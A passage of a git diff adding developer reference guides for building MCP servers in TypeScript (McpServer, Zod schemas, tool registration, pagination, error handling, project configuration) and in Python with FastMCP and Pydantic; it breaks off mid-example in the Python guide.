SDK provides: +- `McpServer` class for server initialization +- `registerTool` method for tool registration +- Zod schema integration for runtime input validation +- Type-safe tool handler implementations + +See the MCP SDK documentation in the references for complete details. + +## Server Naming Convention + +Node/TypeScript MCP servers must follow this naming pattern: +- **Format**: `{service}-mcp-server` (lowercase with hyphens) +- **Examples**: `github-mcp-server`, `jira-mcp-server`, `stripe-mcp-server` + +The name should be: +- General (not tied to specific features) +- Descriptive of the service/API being integrated +- Easy to infer from the task description +- Without version numbers or dates + +## Project Structure + +Create the following structure for Node/TypeScript MCP servers: + +``` +{service}-mcp-server/ +├── package.json +├── tsconfig.json +├── README.md +├── src/ +│ ├── index.ts # Main entry point with McpServer initialization +│ ├── types.ts # TypeScript type definitions and interfaces +│ ├── tools/ # Tool implementations (one file per domain) +│ ├── services/ # API clients and shared utilities +│ ├── schemas/ # Zod validation schemas +│ └── constants.ts # Shared constants (API_URL, CHARACTER_LIMIT, etc.) +└── dist/ # Built JavaScript files (entry point: dist/index.js) +``` + +## Tool Implementation + +### Tool Naming + +Use snake_case for tool names (e.g., "search_users", "create_project", "get_channel_info") with clear, action-oriented names. + +**Avoid Naming Conflicts**: Include the service context to prevent overlaps: +- Use "slack_send_message" instead of just "send_message" +- Use "github_create_issue" instead of just "create_issue" +- Use "asana_list_tasks" instead of just "list_tasks" + +### Tool Structure + +Tools are registered using the `registerTool` method with the following requirements: +- Use Zod schemas for runtime input validation and type safety +- The `description` field must be explicitly provided - JSDoc comments are NOT automatically extracted +- Explicitly provide `title`, `description`, `inputSchema`, and `annotations` +- The `inputSchema` must be a Zod schema object (not a JSON schema) +- Type all parameters and return values explicitly + +```typescript +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { z } from "zod"; + +const server = new McpServer({ + name: "example-mcp", + version: "1.0.0" +}); + +// Zod schema for input validation +const UserSearchInputSchema = z.object({ + query: z.string() + .min(2, "Query must be at least 2 characters") + .max(200, "Query must not exceed 200 characters") + .describe("Search string to match against names/emails"), + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip for pagination"), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}).strict(); + +// Type definition from Zod schema +type UserSearchInput = z.infer; + +server.registerTool( + "example_search_users", + { + title: "Search Example Users", + description: `Search for users in the Example system by name, email, or team. + +This tool searches across all user profiles in the Example platform, supporting partial matches and various search filters. It does NOT create or modify users, only searches existing ones. + +Args: + - query (string): Search string to match against names/emails + - limit (number): Maximum results to return, between 1-100 (default: 20) + - offset (number): Number of results to skip for pagination (default: 0) + - response_format ('markdown' | 'json'): Output format (default: 'markdown') + +Returns: + For JSON format: Structured data with schema: + { + "total": number, // Total number of matches found + "count": number, // Number of results in this response + "offset": number, // Current pagination offset + "users": [ + { + "id": string, // User ID (e.g., "U123456789") + "name": string, // Full name (e.g., "John Doe") + "email": string, // Email address + "team": string, // Team name (optional) + "active": boolean // Whether user is active + } + ], + "has_more": boolean, // Whether more results are available + "next_offset": number // Offset for next page (if has_more is true) + } + +Examples: + - Use when: "Find all marketing team members" -> params with query="team:marketing" + - Use when: "Search for John's account" -> params with query="john" + - Don't use when: You need to create a user (use example_create_user instead) + +Error Handling: + - Returns "Error: Rate limit exceeded" if too many requests (429 status) + - Returns "No users found matching ''" if search returns empty`, + inputSchema: UserSearchInputSchema, + annotations: { + readOnlyHint: true, + destructiveHint: false, + idempotentHint: true, + openWorldHint: true + } + }, + async (params: UserSearchInput) => { + try { + // Input validation is handled by Zod schema + // Make API request using validated parameters + const data = await makeApiRequest( + "users/search", + "GET", + undefined, + { + q: params.query, + limit: params.limit, + offset: params.offset + } + ); + + const users = data.users || []; + const total = data.total || 0; + + if (!users.length) { + return { + content: [{ + type: "text", + text: `No users found matching '${params.query}'` + }] + }; + } + + // Format response based on requested format + let result: string; + + if (params.response_format === ResponseFormat.MARKDOWN) { + // Human-readable markdown format + const lines: string[] = [`# User Search Results: '${params.query}'`, ""]; + lines.push(`Found ${total} users (showing ${users.length})`); + lines.push(""); + + for (const user of users) { + lines.push(`## ${user.name} (${user.id})`); + lines.push(`- **Email**: ${user.email}`); + if (user.team) { + lines.push(`- **Team**: ${user.team}`); + } + lines.push(""); + } + + result = lines.join("\n"); + + } else { + // Machine-readable JSON format + const response: any = { + total, + count: users.length, + offset: params.offset, + users: users.map((user: any) => ({ + id: user.id, + name: user.name, + email: user.email, + ...(user.team ? { team: user.team } : {}), + active: user.active ?? true + })) + }; + + // Add pagination info if there are more results + if (total > params.offset + users.length) { + response.has_more = true; + response.next_offset = params.offset + users.length; + } + + result = JSON.stringify(response, null, 2); + } + + return { + content: [{ + type: "text", + text: result + }] + }; + } catch (error) { + return { + content: [{ + type: "text", + text: handleApiError(error) + }] + }; + } + } +); +``` + +## Zod Schemas for Input Validation + +Zod provides runtime type validation: + +```typescript +import { z } from "zod"; + +// Basic schema with validation +const CreateUserSchema = z.object({ + name: z.string() + .min(1, "Name is required") + .max(100, "Name must not exceed 100 characters"), + email: z.string() + .email("Invalid email format"), + age: z.number() + .int("Age must be a whole number") + .min(0, "Age cannot be negative") + .max(150, "Age cannot be greater than 150") +}).strict(); // Use .strict() to forbid extra fields + +// Enums +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +const SearchSchema = z.object({ + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format") +}); + +// Optional fields with defaults +const PaginationSchema = z.object({ + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip") +}); +``` + +## Response Format Options + +Support multiple output formats for flexibility: + +```typescript +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +const inputSchema = z.object({ + query: z.string(), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}); +``` + +**Markdown format**: +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format +- Show display names with IDs in parentheses +- Omit verbose metadata +- Group related information logically + +**JSON format**: +- Return complete, structured data suitable for programmatic processing +- Include all available fields and metadata +- Use consistent field names and types + +## Pagination Implementation + +For tools that list resources: + +```typescript +const ListSchema = z.object({ + limit: z.number().int().min(1).max(100).default(20), + offset: z.number().int().min(0).default(0) +}); + +async function listItems(params: z.infer) { + const data = await apiRequest(params.limit, params.offset); + + const response = { + total: data.total, + count: data.items.length, + offset: params.offset, + items: data.items, + has_more: data.total > params.offset + data.items.length, + next_offset: data.total > params.offset + data.items.length + ? params.offset + data.items.length + : undefined + }; + + return JSON.stringify(response, null, 2); +} +``` + +## Character Limits and Truncation + +Add a CHARACTER_LIMIT constant to prevent overwhelming responses: + +```typescript +// At module level in constants.ts +export const CHARACTER_LIMIT = 25000; // Maximum response size in characters + +async function searchTool(params: SearchInput) { + let result = generateResponse(data); + + // Check character limit and truncate if needed + if (result.length > CHARACTER_LIMIT) { + const truncatedData = data.slice(0, Math.max(1, data.length / 2)); + response.data = truncatedData; + response.truncated = true; + response.truncation_message = + `Response truncated from ${data.length} to ${truncatedData.length} items. ` + + `Use 'offset' parameter or add filters to see more results.`; + result = JSON.stringify(response, null, 2); + } + + return result; +} +``` + +## Error Handling + +Provide clear, actionable error messages: + +```typescript +import axios, { AxiosError } from "axios"; + +function handleApiError(error: unknown): string { + if (error instanceof AxiosError) { + if (error.response) { + switch (error.response.status) { + case 404: + return "Error: Resource not found. Please check the ID is correct."; + case 403: + return "Error: Permission denied. You don't have access to this resource."; + case 429: + return "Error: Rate limit exceeded. Please wait before making more requests."; + default: + return `Error: API request failed with status ${error.response.status}`; + } + } else if (error.code === "ECONNABORTED") { + return "Error: Request timed out. Please try again."; + } + } + return `Error: Unexpected error occurred: ${error instanceof Error ? error.message : String(error)}`; +} +``` + +## Shared Utilities + +Extract common functionality into reusable functions: + +```typescript +// Shared API request function +async function makeApiRequest( + endpoint: string, + method: "GET" | "POST" | "PUT" | "DELETE" = "GET", + data?: any, + params?: any +): Promise { + try { + const response = await axios({ + method, + url: `${API_BASE_URL}/${endpoint}`, + data, + params, + timeout: 30000, + headers: { + "Content-Type": "application/json", + "Accept": "application/json" + } + }); + return response.data; + } catch (error) { + throw error; + } +} +``` + +## Async/Await Best Practices + +Always use async/await for network requests and I/O operations: + +```typescript +// Good: Async network request +async function fetchData(resourceId: string): Promise { + const response = await axios.get(`${API_URL}/resource/${resourceId}`); + return response.data; +} + +// Bad: Promise chains +function fetchData(resourceId: string): Promise { + return axios.get(`${API_URL}/resource/${resourceId}`) + .then(response => response.data); // Harder to read and maintain +} +``` + +## TypeScript Best Practices + +1. **Use Strict TypeScript**: Enable strict mode in tsconfig.json +2. **Define Interfaces**: Create clear interface definitions for all data structures +3. **Avoid `any`**: Use proper types or `unknown` instead of `any` +4. **Zod for Runtime Validation**: Use Zod schemas to validate external data +5. **Type Guards**: Create type guard functions for complex type checking +6. **Error Handling**: Always use try-catch with proper error type checking +7. **Null Safety**: Use optional chaining (`?.`) and nullish coalescing (`??`) + +```typescript +// Good: Type-safe with Zod and interfaces +interface UserResponse { + id: string; + name: string; + email: string; + team?: string; + active: boolean; +} + +const UserSchema = z.object({ + id: z.string(), + name: z.string(), + email: z.string().email(), + team: z.string().optional(), + active: z.boolean() +}); + +type User = z.infer; + +async function getUser(id: string): Promise { + const data = await apiCall(`/users/${id}`); + return UserSchema.parse(data); // Runtime validation +} + +// Bad: Using any +async function getUser(id: string): Promise { + return await apiCall(`/users/${id}`); // No type safety +} +``` + +## Package Configuration + +### package.json + +```json +{ + "name": "{service}-mcp-server", + "version": "1.0.0", + "description": "MCP server for {Service} API integration", + "type": "module", + "main": "dist/index.js", + "scripts": { + "start": "node dist/index.js", + "dev": "tsx watch src/index.ts", + "build": "tsc", + "clean": "rm -rf dist" + }, + "engines": { + "node": ">=18" + }, + "dependencies": { + "@modelcontextprotocol/sdk": "^1.6.1", + "axios": "^1.7.9", + "zod": "^3.23.8" + }, + "devDependencies": { + "@types/node": "^22.10.0", + "tsx": "^4.19.2", + "typescript": "^5.7.2" + } +} +``` + +### tsconfig.json + +```json +{ + "compilerOptions": { + "target": "ES2022", + "module": "Node16", + "moduleResolution": "Node16", + "lib": ["ES2022"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "allowSyntheticDefaultImports": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} +``` + +## Complete Example + +```typescript +#!/usr/bin/env node +/** + * MCP Server for Example Service. + * + * This server provides tools to interact with Example API, including user search, + * project management, and data export capabilities. + */ + +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import { z } from "zod"; +import axios, { AxiosError } from "axios"; + +// Constants +const API_BASE_URL = "https://api.example.com/v1"; +const CHARACTER_LIMIT = 25000; + +// Enums +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +// Zod schemas +const UserSearchInputSchema = z.object({ + query: z.string() + .min(2, "Query must be at least 2 characters") + .max(200, "Query must not exceed 200 characters") + .describe("Search string to match against names/emails"), + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip for pagination"), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}).strict(); + +type UserSearchInput = z.infer; + +// Shared utility functions +async function makeApiRequest( + endpoint: string, + method: "GET" | "POST" | "PUT" | "DELETE" = "GET", + data?: any, + params?: any +): Promise { + try { + const response = await axios({ + method, + url: `${API_BASE_URL}/${endpoint}`, + data, + params, + timeout: 30000, + headers: { + "Content-Type": "application/json", + "Accept": "application/json" + } + }); + return response.data; + } catch (error) { + throw error; + } +} + +function handleApiError(error: unknown): string { + if (error instanceof AxiosError) { + if (error.response) { + switch (error.response.status) { + case 404: + return "Error: Resource not found. Please check the ID is correct."; + case 403: + return "Error: Permission denied. You don't have access to this resource."; + case 429: + return "Error: Rate limit exceeded. Please wait before making more requests."; + default: + return `Error: API request failed with status ${error.response.status}`; + } + } else if (error.code === "ECONNABORTED") { + return "Error: Request timed out. Please try again."; + } + } + return `Error: Unexpected error occurred: ${error instanceof Error ? error.message : String(error)}`; +} + +// Create MCP server instance +const server = new McpServer({ + name: "example-mcp", + version: "1.0.0" +}); + +// Register tools +server.registerTool( + "example_search_users", + { + title: "Search Example Users", + description: `[Full description as shown above]`, + inputSchema: UserSearchInputSchema, + annotations: { + readOnlyHint: true, + destructiveHint: false, + idempotentHint: true, + openWorldHint: true + } + }, + async (params: UserSearchInput) => { + // Implementation as shown above + } +); + +// Main function +async function main() { + // Verify environment variables if needed + if (!process.env.EXAMPLE_API_KEY) { + console.error("ERROR: EXAMPLE_API_KEY environment variable is required"); + process.exit(1); + } + + // Create transport + const transport = new StdioServerTransport(); + + // Connect server to transport + await server.connect(transport); + + console.error("Example MCP server running via stdio"); +} + +// Run the server +main().catch((error) => { + console.error("Server error:", error); + process.exit(1); +}); +``` + +--- + +## Advanced MCP Features + +### Resource Registration + +Expose data as resources for efficient, URI-based access: + +```typescript +import { ResourceTemplate } from "@modelcontextprotocol/sdk/types.js"; + +// Register a resource with URI template +server.registerResource( + { + uri: "file://documents/{name}", + name: "Document Resource", + description: "Access documents by name", + mimeType: "text/plain" + }, + async (uri: string) => { + // Extract parameter from URI + const match = uri.match(/^file:\/\/documents\/(.+)$/); + if (!match) { + throw new Error("Invalid URI format"); + } + + const documentName = match[1]; + const content = await loadDocument(documentName); + + return { + contents: [{ + uri, + mimeType: "text/plain", + text: content + }] + }; + } +); + +// List available resources dynamically +server.registerResourceList(async () => { + const documents = await getAvailableDocuments(); + return { + resources: documents.map(doc => ({ + uri: `file://documents/${doc.name}`, + name: doc.name, + mimeType: "text/plain", + description: doc.description + })) + }; +}); +``` + +**When to use Resources vs Tools:** +- **Resources**: For data access with simple URI-based parameters +- **Tools**: For complex operations requiring validation and business logic +- **Resources**: When data is relatively static or template-based +- **Tools**: When operations have side effects or complex workflows + +### Multiple Transport Options + +The TypeScript SDK supports different transport mechanisms: + +```typescript +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import { SSEServerTransport } from "@modelcontextprotocol/sdk/server/sse.js"; + +// Stdio transport (default - for CLI tools) +const stdioTransport = new StdioServerTransport(); +await server.connect(stdioTransport); + +// SSE transport (for real-time web updates) +const sseTransport = new SSEServerTransport("/message", response); +await server.connect(sseTransport); + +// HTTP transport (for web services) +// Configure based on your HTTP framework integration +``` + +**Transport selection guide:** +- **Stdio**: Command-line tools, subprocess integration, local development +- **HTTP**: Web services, remote access, multiple simultaneous clients +- **SSE**: Real-time updates, server-push notifications, web dashboards + +### Notification Support + +Notify clients when server state changes: + +```typescript +// Notify when tools list changes +server.notification({ + method: "notifications/tools/list_changed" +}); + +// Notify when resources change +server.notification({ + method: "notifications/resources/list_changed" +}); +``` + +Use notifications sparingly - only when server capabilities genuinely change. + +--- + +## Code Best Practices + +### Code Composability and Reusability + +Your implementation MUST prioritize composability and code reuse: + +1. **Extract Common Functionality**: + - Create reusable helper functions for operations used across multiple tools + - Build shared API clients for HTTP requests instead of duplicating code + - Centralize error handling logic in utility functions + - Extract business logic into dedicated functions that can be composed + - Extract shared markdown or JSON field selection & formatting functionality + +2. **Avoid Duplication**: + - NEVER copy-paste similar code between tools + - If you find yourself writing similar logic twice, extract it into a function + - Common operations like pagination, filtering, field selection, and formatting should be shared + - Authentication/authorization logic should be centralized + +## Building and Running + +Always build your TypeScript code before running: + +```bash +# Build the project +npm run build + +# Run the server +npm start + +# Development with auto-reload +npm run dev +``` + +Always ensure `npm run build` completes successfully before considering the implementation complete. + +## Quality Checklist + +Before finalizing your Node/TypeScript MCP server implementation, ensure: + +### Strategic Design +- [ ] Tools enable complete workflows, not just API endpoint wrappers +- [ ] Tool names reflect natural task subdivisions +- [ ] Response formats optimize for agent context efficiency +- [ ] Human-readable identifiers used where appropriate +- [ ] Error messages guide agents toward correct usage + +### Implementation Quality +- [ ] FOCUSED IMPLEMENTATION: Most important and valuable tools implemented +- [ ] All tools registered using `registerTool` with complete configuration +- [ ] All tools include `title`, `description`, `inputSchema`, and `annotations` +- [ ] Annotations correctly set (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- [ ] All tools use Zod schemas for runtime input validation with `.strict()` enforcement +- [ ] All Zod schemas have proper constraints and descriptive error messages +- [ ] All tools have comprehensive descriptions with explicit input/output types +- [ ] Descriptions include return value examples and complete schema documentation +- [ ] Error messages are clear, actionable, and educational + +### TypeScript Quality +- [ ] TypeScript interfaces are defined for all data structures +- [ ] Strict TypeScript is enabled in tsconfig.json +- [ ] No use of `any` type - use `unknown` or proper types instead +- [ ] All async functions have explicit Promise return types +- [ ] Error handling uses proper type guards (e.g., `axios.isAxiosError`, `z.ZodError`) + +### Advanced Features (where applicable) +- [ ] Resources registered for appropriate data endpoints +- [ ] Appropriate transport configured (stdio, HTTP, SSE) +- [ ] Notifications implemented for dynamic server capabilities +- [ ] Type-safe with SDK interfaces + +### Project Configuration +- [ ] Package.json includes all necessary dependencies +- [ ] Build script produces working JavaScript in dist/ directory +- [ ] Main entry point is properly configured as dist/index.js +- [ ] Server name follows format: `{service}-mcp-server` +- [ ] tsconfig.json properly configured with strict mode + +### Code Quality +- [ ] Pagination is properly implemented where applicable +- [ ] Large responses check CHARACTER_LIMIT constant and truncate with clear messages +- [ ] Filtering options are provided for potentially large result sets +- [ ] All network operations handle timeouts and connection errors gracefully +- [ ] Common functionality is extracted into reusable functions +- [ ] Return types are consistent across similar operations + +### Testing and Build +- [ ] `npm run build` completes successfully without errors +- [ ] dist/index.js created and executable +- [ ] Server runs: `node dist/index.js --help` +- [ ] All imports resolve correctly +- [ ] Sample tool calls work as expected \ No newline at end of file diff --git a/skills/mcp-builder/reference/python_mcp_server.md b/skills/mcp-builder/reference/python_mcp_server.md new file mode 100644 index 0000000..38fa3a1 --- /dev/null +++ b/skills/mcp-builder/reference/python_mcp_server.md @@ -0,0 +1,752 @@ +# Python MCP Server Implementation Guide + +## Overview + +This document provides Python-specific best practices and examples for implementing MCP servers using the MCP Python SDK. It covers server setup, tool registration patterns, input validation with Pydantic, error handling, and complete working examples. + +--- + +## Quick Reference + +### Key Imports +```python +from mcp.server.fastmcp import FastMCP +from pydantic import BaseModel, Field, field_validator, ConfigDict +from typing import Optional, List, Dict, Any +from enum import Enum +import httpx +``` + +### Server Initialization +```python +mcp = FastMCP("service_mcp") +``` + +### Tool Registration Pattern +```python +@mcp.tool(name="tool_name", annotations={...}) +async def tool_function(params: InputModel) -> str: + # Implementation + pass +``` + +--- + +## MCP Python SDK and FastMCP + +The official MCP Python SDK provides FastMCP, a high-level framework for building MCP servers. It provides: +- Automatic description and inputSchema generation from function signatures and docstrings +- Pydantic model integration for input validation +- Decorator-based tool registration with `@mcp.tool` + +**For complete SDK documentation, use WebFetch to load:** +`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` + +## Server Naming Convention + +Python MCP servers must follow this naming pattern: +- **Format**: `{service}_mcp` (lowercase with underscores) +- **Examples**: `github_mcp`, `jira_mcp`, `stripe_mcp` + +The name should be: +- General (not tied to specific features) +- Descriptive of the service/API being integrated +- Easy to infer from the task description +- Without version numbers or dates + +## Tool Implementation + +### Tool Naming + +Use snake_case for tool names (e.g., "search_users", "create_project", "get_channel_info") with clear, action-oriented names. + +**Avoid Naming Conflicts**: Include the service context to prevent overlaps: +- Use "slack_send_message" instead of just "send_message" +- Use "github_create_issue" instead of just "create_issue" +- Use "asana_list_tasks" instead of just "list_tasks" + +### Tool Structure with FastMCP + +Tools are defined using the `@mcp.tool` decorator with Pydantic models for input validation: + +```python +from pydantic import BaseModel, Field, ConfigDict +from mcp.server.fastmcp import FastMCP + +# Initialize the MCP server +mcp = FastMCP("example_mcp") + +# Define Pydantic model for input validation +class ServiceToolInput(BaseModel): + '''Input model for service tool operation.''' + model_config = ConfigDict( + str_strip_whitespace=True, # Auto-strip whitespace from strings + validate_assignment=True, # Validate on assignment + extra='forbid' # Forbid extra fields + ) + + param1: str = Field(..., description="First parameter description (e.g., 'user123', 'project-abc')", min_length=1, max_length=100) + param2: Optional[int] = Field(default=None, description="Optional integer parameter with constraints", ge=0, le=1000) + tags: Optional[List[str]] = Field(default_factory=list, description="List of tags to apply", max_items=10) + +@mcp.tool( + name="service_tool_name", + annotations={ + "title": "Human-Readable Tool Title", + "readOnlyHint": True, # Tool does not modify environment + "destructiveHint": False, # Tool does not perform destructive operations + "idempotentHint": True, # Repeated calls have no additional effect + "openWorldHint": False # Tool does not interact with external entities + } +) +async def service_tool_name(params: ServiceToolInput) -> str: + '''Tool description automatically becomes the 'description' field. + + This tool performs a specific operation on the service. It validates all inputs + using the ServiceToolInput Pydantic model before processing. + + Args: + params (ServiceToolInput): Validated input parameters containing: + - param1 (str): First parameter description + - param2 (Optional[int]): Optional parameter with default + - tags (Optional[List[str]]): List of tags + + Returns: + str: JSON-formatted response containing operation results + ''' + # Implementation here + pass +``` + +## Pydantic v2 Key Features + +- Use `model_config` instead of nested `Config` class +- Use `field_validator` instead of deprecated `validator` +- Use `model_dump()` instead of deprecated `dict()` +- Validators require `@classmethod` decorator +- Type hints are required for validator methods + +```python +from pydantic import BaseModel, Field, field_validator, ConfigDict + +class CreateUserInput(BaseModel): + model_config = ConfigDict( + str_strip_whitespace=True, + validate_assignment=True + ) + + name: str = Field(..., description="User's full name", min_length=1, max_length=100) + email: str = Field(..., description="User's email address", pattern=r'^[\w\.-]+@[\w\.-]+\.\w+$') + age: int = Field(..., description="User's age", ge=0, le=150) + + @field_validator('email') + @classmethod + def validate_email(cls, v: str) -> str: + if not v.strip(): + raise ValueError("Email cannot be empty") + return v.lower() +``` + +## Response Format Options + +Support multiple output formats for flexibility: + +```python +from enum import Enum + +class ResponseFormat(str, Enum): + '''Output format for tool responses.''' + MARKDOWN = "markdown" + JSON = "json" + +class UserSearchInput(BaseModel): + query: str = Field(..., description="Search query") + response_format: ResponseFormat = Field( + default=ResponseFormat.MARKDOWN, + description="Output format: 'markdown' for human-readable or 'json' for machine-readable" + ) +``` + +**Markdown format**: +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format (e.g., "2024-01-15 10:30:00 UTC" instead of epoch) +- Show display names with IDs in parentheses (e.g., "@john.doe (U123456)") +- Omit verbose metadata (e.g., show only one profile image URL, not all sizes) +- Group related information logically + +**JSON format**: +- Return complete, structured data suitable for programmatic processing +- Include all available fields and metadata +- Use consistent field names and types + +## Pagination Implementation + +For tools that list resources: + +```python +class ListInput(BaseModel): + limit: Optional[int] = Field(default=20, description="Maximum results to return", ge=1, le=100) + offset: Optional[int] = Field(default=0, description="Number of results to skip for pagination", ge=0) + +async def list_items(params: ListInput) -> str: + # Make API request with pagination + data = await api_request(limit=params.limit, offset=params.offset) + + # Return pagination info + response = { + "total": data["total"], + "count": len(data["items"]), + "offset": params.offset, + "items": data["items"], + "has_more": data["total"] > params.offset + len(data["items"]), + "next_offset": params.offset + len(data["items"]) if data["total"] > params.offset + len(data["items"]) else None + } + return json.dumps(response, indent=2) +``` + +## Character Limits and Truncation + +Add a CHARACTER_LIMIT constant to prevent overwhelming responses: + +```python +# At module level +CHARACTER_LIMIT = 25000 # Maximum response size in characters + +async def search_tool(params: SearchInput) -> str: + result = generate_response(data) + + # Check character limit and truncate if needed + if len(result) > CHARACTER_LIMIT: + # Truncate data and add notice + truncated_data = data[:max(1, len(data) // 2)] + response["data"] = truncated_data + response["truncated"] = True + response["truncation_message"] = ( + f"Response truncated from {len(data)} to {len(truncated_data)} items. " + f"Use 'offset' parameter or add filters to see more results." + ) + result = json.dumps(response, indent=2) + + return result +``` + +## Error Handling + +Provide clear, actionable error messages: + +```python +def _handle_api_error(e: Exception) -> str: + '''Consistent error formatting across all tools.''' + if isinstance(e, httpx.HTTPStatusError): + if e.response.status_code == 404: + return "Error: Resource not found. Please check the ID is correct." + elif e.response.status_code == 403: + return "Error: Permission denied. You don't have access to this resource." + elif e.response.status_code == 429: + return "Error: Rate limit exceeded. Please wait before making more requests." + return f"Error: API request failed with status {e.response.status_code}" + elif isinstance(e, httpx.TimeoutException): + return "Error: Request timed out. Please try again." + return f"Error: Unexpected error occurred: {type(e).__name__}" +``` + +## Shared Utilities + +Extract common functionality into reusable functions: + +```python +# Shared API request function +async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: + '''Reusable function for all API calls.''' + async with httpx.AsyncClient() as client: + response = await client.request( + method, + f"{API_BASE_URL}/{endpoint}", + timeout=30.0, + **kwargs + ) + response.raise_for_status() + return response.json() +``` + +## Async/Await Best Practices + +Always use async/await for network requests and I/O operations: + +```python +# Good: Async network request +async def fetch_data(resource_id: str) -> dict: + async with httpx.AsyncClient() as client: + response = await client.get(f"{API_URL}/resource/{resource_id}") + response.raise_for_status() + return response.json() + +# Bad: Synchronous request +def fetch_data(resource_id: str) -> dict: + response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks + return response.json() +``` + +## Type Hints + +Use type hints throughout: + +```python +from typing import Optional, List, Dict, Any + +async def get_user(user_id: str) -> Dict[str, Any]: + data = await fetch_user(user_id) + return {"id": data["id"], "name": data["name"]} +``` + +## Tool Docstrings + +Every tool must have comprehensive docstrings with explicit type information: + +```python +async def search_users(params: UserSearchInput) -> str: + ''' + Search for users in the Example system by name, email, or team. + + This tool searches across all user profiles in the Example platform, + supporting partial matches and various search filters. It does NOT + create or modify users, only searches existing ones. + + Args: + params (UserSearchInput): Validated input parameters containing: + - query (str): Search string to match against names/emails (e.g., "john", "@example.com", "team:marketing") + - limit (Optional[int]): Maximum results to return, between 1-100 (default: 20) + - offset (Optional[int]): Number of results to skip for pagination (default: 0) + + Returns: + str: JSON-formatted string containing search results with the following schema: + + Success response: + { + "total": int, # Total number of matches found + "count": int, # Number of results in this response + "offset": int, # Current pagination offset + "users": [ + { + "id": str, # User ID (e.g., "U123456789") + "name": str, # Full name (e.g., "John Doe") + "email": str, # Email address (e.g., "john@example.com") + "team": str # Team name (e.g., "Marketing") - optional + } + ] + } + + Error response: + "Error: " or "No users found matching ''" + + Examples: + - Use when: "Find all marketing team members" -> params with query="team:marketing" + - Use when: "Search for John's account" -> params with query="john" + - Don't use when: You need to create a user (use example_create_user instead) + - Don't use when: You have a user ID and need full details (use example_get_user instead) + + Error Handling: + - Input validation errors are handled by Pydantic model + - Returns "Error: Rate limit exceeded" if too many requests (429 status) + - Returns "Error: Invalid API authentication" if API key is invalid (401 status) + - Returns formatted list of results or "No users found matching 'query'" + ''' +``` + +## Complete Example + +See below for a complete Python MCP server example: + +```python +#!/usr/bin/env python3 +''' +MCP Server for Example Service. + +This server provides tools to interact with Example API, including user search, +project management, and data export capabilities. +''' + +from typing import Optional, List, Dict, Any +from enum import Enum +import httpx +from pydantic import BaseModel, Field, field_validator, ConfigDict +from mcp.server.fastmcp import FastMCP + +# Initialize the MCP server +mcp = FastMCP("example_mcp") + +# Constants +API_BASE_URL = "https://api.example.com/v1" +CHARACTER_LIMIT = 25000 # Maximum response size in characters + +# Enums +class ResponseFormat(str, Enum): + '''Output format for tool responses.''' + MARKDOWN = "markdown" + JSON = "json" + +# Pydantic Models for Input Validation +class UserSearchInput(BaseModel): + '''Input model for user search operations.''' + model_config = ConfigDict( + str_strip_whitespace=True, + validate_assignment=True + ) + + query: str = Field(..., description="Search string to match against names/emails", min_length=2, max_length=200) + limit: Optional[int] = Field(default=20, description="Maximum results to return", ge=1, le=100) + offset: Optional[int] = Field(default=0, description="Number of results to skip for pagination", ge=0) + response_format: ResponseFormat = Field(default=ResponseFormat.MARKDOWN, description="Output format") + + @field_validator('query') + @classmethod + def validate_query(cls, v: str) -> str: + if not v.strip(): + raise ValueError("Query cannot be empty or whitespace only") + return v.strip() + +# Shared utility functions +async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: + '''Reusable function for all API calls.''' + async with httpx.AsyncClient() as client: + response = await client.request( + method, + f"{API_BASE_URL}/{endpoint}", + timeout=30.0, + **kwargs + ) + response.raise_for_status() + return response.json() + +def _handle_api_error(e: Exception) -> str: + '''Consistent error formatting across all tools.''' + if isinstance(e, httpx.HTTPStatusError): + if e.response.status_code == 404: + return "Error: Resource not found. Please check the ID is correct." + elif e.response.status_code == 403: + return "Error: Permission denied. You don't have access to this resource." + elif e.response.status_code == 429: + return "Error: Rate limit exceeded. Please wait before making more requests." + return f"Error: API request failed with status {e.response.status_code}" + elif isinstance(e, httpx.TimeoutException): + return "Error: Request timed out. Please try again." + return f"Error: Unexpected error occurred: {type(e).__name__}" + +# Tool definitions +@mcp.tool( + name="example_search_users", + annotations={ + "title": "Search Example Users", + "readOnlyHint": True, + "destructiveHint": False, + "idempotentHint": True, + "openWorldHint": True + } +) +async def example_search_users(params: UserSearchInput) -> str: + '''Search for users in the Example system by name, email, or team. + + [Full docstring as shown above] + ''' + try: + # Make API request using validated parameters + data = await _make_api_request( + "users/search", + params={ + "q": params.query, + "limit": params.limit, + "offset": params.offset + } + ) + + users = data.get("users", []) + total = data.get("total", 0) + + if not users: + return f"No users found matching '{params.query}'" + + # Format response based on requested format + if params.response_format == 